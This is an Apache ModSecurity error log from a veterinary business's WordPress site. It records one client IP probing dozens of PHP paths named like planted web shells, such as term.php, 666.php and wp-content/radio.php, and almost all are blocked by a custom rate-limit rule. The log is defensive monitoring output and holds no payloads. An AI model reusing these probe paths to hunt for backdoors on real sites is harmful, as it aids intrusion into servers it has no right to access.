[Fri Apr 24 06:22:15.725903 2026] [:error] [pid 19200:tid 19230] [client 23.100.53.213:47162] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "aeqblzQ--M3-tsKAnhGmKwAAANY"]
[Fri Apr 24 06:22:17.480795 2026] [:error] [pid 19102:tid 19165] [client 23.100.53.213:47251] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "aeqbmQDSgrbLEZbkqD7LrgAAAIE"]
[Fri Apr 24 06:22:18.289546 2026] [:error] [pid 52129:tid 52146] [client 23.100.53.213:46301] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "aeqbmuKCZKf8_u2LKiBurwAAAQ0"]
[Fri Apr 24 06:22:18.976915 2026] [:error] [pid 19102:tid 19173] [client 23.100.53.213:46328] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aeqbmgDSgrbLEZbkqD7LtAAAAIk"]
[Fri Apr 24 06:22:19.836795 2026] [:error] [pid 19200:tid 19227] [client 23.100.53.213:47206] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aeqbmzQ--M3-tsKAnhGmNgAAANM"]
[Fri Apr 24 06:22:21.027211 2026] [:error] [pid 52129:tid 52139] [client 23.100.53.213:48513] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aeqbneKCZKf8_u2LKiBuvgAAAQY"]
[Fri Apr 24 06:22:22.171757 2026] [:error] [pid 19102:tid 19174] [client 23.100.53.213:37106] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aeqbngDSgrbLEZbkqD7LwAAAAIo"]
[Fri Apr 24 06:22:22.974441 2026] [:error] [pid 52129:tid 52141] [client 23.100.53.213:37446] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "aeqbnuKCZKf8_u2LKiBuxgAAAQg"]
[Fri Apr 24 06:22:23.541963 2026] [:error] [pid 19101:tid 19146] [client 23.100.53.213:10212] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "aeqbn2AHj9bEvrTgbO3UEgAAAEk"]
[Fri Apr 24 06:22:24.238347 2026] [:error] [pid 19100:tid 19127] [client 23.100.53.213:21052] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "aeqboLF_hzQs4CqbifcPFAAAABE"]
[Fri Apr 24 06:22:25.337155 2026] [:error] [pid 52129:tid 52141] [client 23.100.53.213:10326] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "aeqboeKCZKf8_u2LKiBu0gAAAQg"]
[Fri Apr 24 06:22:26.413469 2026] [:error] [pid 19200:tid 19222] [client 23.100.53.213:41219] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeqbojQ--M3-tsKAnhGmUgAAAM4"]
[Fri Apr 24 06:22:27.522327 2026] [:error] [pid 19102:tid 19175] [client 23.100.53.213:41222] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeqbowDSgrbLEZbkqD7L5QAAAIs"]
[Fri Apr 24 06:22:28.600473 2026] [:error] [pid 52129:tid 52153] [client 23.100.53.213:45866] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeqbpOKCZKf8_u2LKiBu4gAAARQ"]
[Fri Apr 24 06:22:29.363708 2026] [:error] [pid 52129:tid 52147] [client 23.100.53.213:26802] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeqbpeKCZKf8_u2LKiBu5QAAAQ4"]
[Fri Apr 24 06:22:30.367456 2026] [:error] [pid 19200:tid 19208] [client 23.100.53.213:9914] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aeqbpjQ--M3-tsKAnhGmZwAAAMA"]
[Fri Apr 24 06:22:31.452786 2026] [:error] [pid 19200:tid 19224] [client 23.100.53.213:45820] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aeqbpzQ--M3-tsKAnhGmagAAANA"]
[Fri Apr 24 06:22:33.448739 2026] [:error] [pid 19200:tid 19214] [client 23.100.53.213:9910] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aeqbqTQ--M3-tsKAnhGmbwAAAMY"]
[Fri Apr 24 06:22:34.338802 2026] [:error] [pid 19200:tid 19209] [client 23.100.53.213:44508] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/66.php"] [unique_id "aeqbqjQ--M3-tsKAnhGmcwAAAME"]
[Fri Apr 24 06:22:35.026228 2026] [:error] [pid 19102:tid 19171] [client 23.100.53.213:46245] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeqbqwDSgrbLEZbkqD7MDwAAAIc"]
[Fri Apr 24 06:22:35.618798 2026] [:error] [pid 19101:tid 19140] [client 23.100.53.213:37153] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeqbq2AHj9bEvrTgbO3UHQAAAEM"]
[Fri Apr 24 06:22:36.467345 2026] [:error] [pid 52129:tid 52152] [client 23.100.53.213:9861] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeqbrOKCZKf8_u2LKiBvBAAAARM"]
[Fri Apr 24 06:22:37.307682 2026] [:error] [pid 52129:tid 52146] [client 23.100.53.213:30221] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeqbreKCZKf8_u2LKiBvDAAAAQ0"]
[Fri Apr 24 06:22:38.041759 2026] [:error] [pid 19102:tid 19180] [client 23.100.53.213:38350] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "aeqbrgDSgrbLEZbkqD7MIQAAAJA"]
[Fri Apr 24 06:22:39.283820 2026] [:error] [pid 19200:tid 19222] [client 23.100.53.213:39423] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "aeqbrzQ--M3-tsKAnhGmfAAAAM4"]
[Fri Apr 24 06:22:40.661441 2026] [:error] [pid 19101:tid 19151] [client 23.100.53.213:47989] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "aeqbsGAHj9bEvrTgbO3UIwAAAE4"]
[Fri Apr 24 06:22:41.962759 2026] [:error] [pid 19200:tid 19226] [client 23.100.53.213:45056] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "aeqbsTQ--M3-tsKAnhGmgAAAANI"]
[Fri Apr 24 06:22:43.565330 2026] [:error] [pid 19200:tid 19225] [client 23.100.53.213:47526] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeqbszQ--M3-tsKAnhGmhAAAANE"]
[Fri Apr 24 06:22:44.770396 2026] [:error] [pid 19200:tid 19231] [client 23.100.53.213:9744] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeqbtDQ--M3-tsKAnhGmhwAAANc"]
[Fri Apr 24 06:22:46.284112 2026] [:error] [pid 52129:tid 52152] [client 23.100.53.213:39741] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeqbtuKCZKf8_u2LKiBvOwAAARM"]
[Fri Apr 24 06:22:47.388931 2026] [:error] [pid 52129:tid 52141] [client 23.100.53.213:48596] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aeqbt-KCZKf8_u2LKiBvRQAAAQg"]
[Fri Apr 24 06:22:48.952652 2026] [:error] [pid 52129:tid 52141] [client 23.100.53.213:42802] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeqbuOKCZKf8_u2LKiBvUQAAAQg"]
[Fri Apr 24 06:22:49.778455 2026] [:error] [pid 52129:tid 52148] [client 23.100.53.213:37787] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeqbueKCZKf8_u2LKiBvWgAAAQ8"]
[Fri Apr 24 06:22:50.914810 2026] [:error] [pid 19101:tid 19140] [client 23.100.53.213:9383] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeqbumAHj9bEvrTgbO3UNAAAAEM"]
[Fri Apr 24 06:22:52.600748 2026] [:error] [pid 52129:tid 52152] [client 23.100.53.213:41954] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bmi.php"] [unique_id "aeqbvOKCZKf8_u2LKiBvaQAAARM"]
[Fri Apr 24 06:22:53.956919 2026] [:error] [pid 19200:tid 19212] [client 23.100.53.213:9667] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeqbvTQ--M3-tsKAnhGmpQAAAMQ"]
[Fri Apr 24 06:22:56.016636 2026] [:error] [pid 19200:tid 19224] [client 23.100.53.213:31394] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeqbwDQ--M3-tsKAnhGmrwAAANA"]
[Fri Apr 24 06:22:57.744199 2026] [:error] [pid 52129:tid 52144] [client 23.100.53.213:45741] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeqbweKCZKf8_u2LKiBvhgAAAQs"]
[Fri Apr 24 06:22:59.079764 2026] [:error] [pid 19102:tid 19187] [client 23.100.53.213:31380] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "aeqbwwDSgrbLEZbkqD7MZQAAAJc"]
[Fri Apr 24 06:23:00.001781 2026] [:error] [pid 52129:tid 52157] [client 23.100.53.213:43474] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeqbw-KCZKf8_u2LKiBvlAAAARg"]
[Fri Apr 24 06:23:00.937392 2026] [:error] [pid 19100:tid 19115] [client 23.100.53.213:41934] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeqbxLF_hzQs4CqbifcPQwAAAAY"]
[Fri Apr 24 06:23:01.933725 2026] [:error] [pid 52129:tid 52141] [client 23.100.53.213:49587] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeqbxeKCZKf8_u2LKiBvnAAAAQg"]
[Fri Apr 24 06:23:02.761865 2026] [:error] [pid 52129:tid 52140] [client 23.100.53.213:17702] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aeqbxuKCZKf8_u2LKiBvnwAAAQc"]
[Fri Apr 24 06:23:03.630002 2026] [:error] [pid 52129:tid 52148] [client 23.100.53.213:39723] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeqbx-KCZKf8_u2LKiBvowAAAQ8"]
[Fri Apr 24 06:23:04.457216 2026] [:error] [pid 19200:tid 19217] [client 23.100.53.213:37518] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeqbyDQ--M3-tsKAnhGm6QAAAMk"]
[Fri Apr 24 06:23:05.899090 2026] [:error] [pid 19101:tid 19138] [client 23.100.53.213:43287] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeqbyWAHj9bEvrTgbO3UUAAAAEE"]
[Fri Apr 24 06:23:06.888746 2026] [:error] [pid 52129:tid 52155] [client 23.100.53.213:39660] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aeqbyuKCZKf8_u2LKiBvvwAAARY"]
[Fri Apr 24 06:23:07.677513 2026] [:error] [pid 19200:tid 19229] [client 23.100.53.213:17695] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "aeqbyzQ--M3-tsKAnhGnCQAAANU"]
[Fri Apr 24 06:23:08.727281 2026] [:error] [pid 19200:tid 19215] [client 23.100.53.213:9681] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wen.php"] [unique_id "aeqbzDQ--M3-tsKAnhGnCgAAAMc"]
[Fri Apr 24 06:24:31.446348 2026] [:error] [pid 19102:tid 19169] [client 23.100.53.213:44257] [client 23.100.53.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.100.53.213, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeqcHwDSgrbLEZbkqD7NRAAAAIU"]
[Fri Apr 24 06:25:19.318757 2026] [:error] [pid 19102:tid 19188] [client 23.100.53.213:46138] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aeqcTwDSgrbLEZbkqD7NngAAAJg"]
[Fri Apr 24 06:25:20.568334 2026] [:error] [pid 52129:tid 52149] [client 23.100.53.213:47769] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aeqcUOKCZKf8_u2LKiBxQgAAARA"]
[Fri Apr 24 06:25:22.401694 2026] [:error] [pid 52129:tid 52150] [client 23.100.53.213:42828] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aeqcUuKCZKf8_u2LKiBxRAAAARE"]
[Fri Apr 24 06:25:23.952294 2026] [:error] [pid 19102:tid 19182] [client 23.100.53.213:44576] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ok.php"] [unique_id "aeqcUwDSgrbLEZbkqD7NrQAAAJI"]
[Fri Apr 24 06:25:26.031589 2026] [:error] [pid 19200:tid 19216] [client 23.100.53.213:44580] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eetu.php"] [unique_id "aeqcVjQ--M3-tsKAnhGohwAAAMg"]
[Fri Apr 24 06:25:28.557165 2026] [:error] [pid 19200:tid 19224] [client 23.100.53.213:43583] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eetu.php"] [unique_id "aeqcWDQ--M3-tsKAnhGojAAAANA"]
